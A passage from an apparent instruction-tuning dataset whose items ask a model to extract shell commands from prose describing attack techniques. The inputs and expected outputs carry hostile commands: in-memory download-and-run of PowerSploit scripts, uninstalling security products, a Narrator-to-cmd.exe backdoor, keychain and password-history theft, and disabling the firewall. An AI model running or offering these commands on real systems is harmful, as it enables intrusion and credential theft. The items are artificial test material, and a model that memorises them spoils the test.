Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    APTs have been observed using WMIC to uninstall security products, and you can replicate this behavior with the command: wmic /node:\"#{node}\" product where \"name like '#{product}%%'\" call uninstall; Instead of using conventional terminals, malicious actors could employ AutoIt to execute dubious scripts, which will display a calculator if successful. This can be done via the command: Start-Process -FilePath \"#{autoit_path}\" -ArgumentList \"#{script_path}\"\n",
    "output": "{\"command_list\": [\"wmic /node:\\\"#{node}\\\" product where \\\"name like '#{product}%%'\\\" call uninstall\", \"Start-Process -FilePath \\\"#{autoit_path}\\\" -ArgumentList \\\"#{script_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For enumerating local Administrators group members on all domain machines and displaying their information, use this command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin  -Verbose; To determine who has admin rights over a computer via GPO enumeration, run the following command, which will also display machine information: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin  -Verbose\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To replace the Narrator binary with cmd.exe, enabling an elevated command prompt via the Accessibility menu, use the following command:\nIF NOT EXIST C:\\Windows\\System32\\Narrator_backup.exe (copy C:\\Windows\\System32\\Narrator.exe C:\\Windows\\System32\\Narrator_backup.exe) ELSE ( pushd )\ntakeown /F C:\\Windows\\System32\\Narrator.exe /A\nicacls C:\\Windows\\System32\\Narrator.exe /grant Administrators:F /t\ncopy /Y C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Narrator.exe\n; The keychain credentials can be dumped by executing this command: sudo security dump-keychain -d login.keychain",
    "output": "{\"command_list\": [\"IF NOT EXIST C:\\\\Windows\\\\System32\\\\Narrator_backup.exe (copy C:\\\\Windows\\\\System32\\\\Narrator.exe C:\\\\Windows\\\\System32\\\\Narrator_backup.exe) ELSE ( pushd )\\ntakeown /F C:\\\\Windows\\\\System32\\\\Narrator.exe /A\\nicacls C:\\\\Windows\\\\System32\\\\Narrator.exe /grant Administrators:F /t\\ncopy /Y C:\\\\Windows\\\\System32\\\\cmd.exe C:\\\\Windows\\\\System32\\\\Narrator.exe\\n\", \"sudo security dump-keychain -d login.keychain\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For macOS UI traffic redirection, use the following commands to update proxy settings: networksetup -setwebproxy #{interface} #{proxy_server} #{proxy_port}\nnetworksetup -setsecurewebproxy #{interface} #{proxy_server} #{proxy_port}\n; A new proxy entry can be created in netsh by executing this command: netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress}",
    "output": "{\"command_list\": [\"networksetup -setwebproxy #{interface} #{proxy_server} #{proxy_port}\\nnetworksetup -setsecurewebproxy #{interface} #{proxy_server} #{proxy_port}\\n\", \"netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To locate passwords within PowerShell history files, search for common credential-related strings like \"password\", \"-p\", \"key\", \"pwd\", and \"pass\" using the following command: ls -R C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt | Select-String \"password\", \"-p\", \"key\", \"pwd\", \"pass\"; The signed SyncAppvPublishingServer script can be executed with PowerShell command options via this command, which will launch calc.exe: C:\\windows\\system32\\SyncAppvPublishingServer.vbs \"\\n;#{command_to_execute}\"\n",
    "output": "{\"command_list\": [\"ls -R C:\\\\Users\\\\*\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadLine\\\\ConsoleHost_history.txt | Select-String \\\"password\\\", \\\"-p\\\", \\\"key\\\", \\\"pwd\\\", \\\"pass\\\"\\n\", \"C:\\\\windows\\\\system32\\\\SyncAppvPublishingServer.vbs \\\"\\\\n;#{command_to_execute}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Uncomplicated Firewall can be halted, provided it's installed, via this command: systemctl stop ufw; The Uncomplicated Firewall's logging feature can be disabled with the command: ufw logging off",
    "output": "{\"command_list\": [\"systemctl stop ufw\\n\", \"ufw logging off\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon execution, the following command connects to a remote PowerShell session, performs network tests, and displays 'T1086 PowerShell Session Creation and Use':\nNew-PSSession -ComputerName #{hostname_to_connect}\nTest-Connection $env:COMPUTERNAME\nSet-Content -Path $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use -Value \"T1086 PowerShell Session Creation and Use\"\nGet-Content -Path $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use\nRemove-Item -Force $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use\n; To execute powershell.exe with different variations of the -Command parameter, use the following command: Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop",
    "output": "{\"command_list\": [\"New-PSSession -ComputerName #{hostname_to_connect}\\nTest-Connection $env:COMPUTERNAME\\nSet-Content -Path $env:TEMP\\\\T1086_PowerShell_Session_Creation_and_Use -Value \\\"T1086 PowerShell Session Creation and Use\\\"\\nGet-Content -Path $env:TEMP\\\\T1086_PowerShell_Session_Creation_and_Use\\nRemove-Item -Force $env:TEMP\\\\T1086_PowerShell_Session_Creation_and_Use\\n\", \"Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one 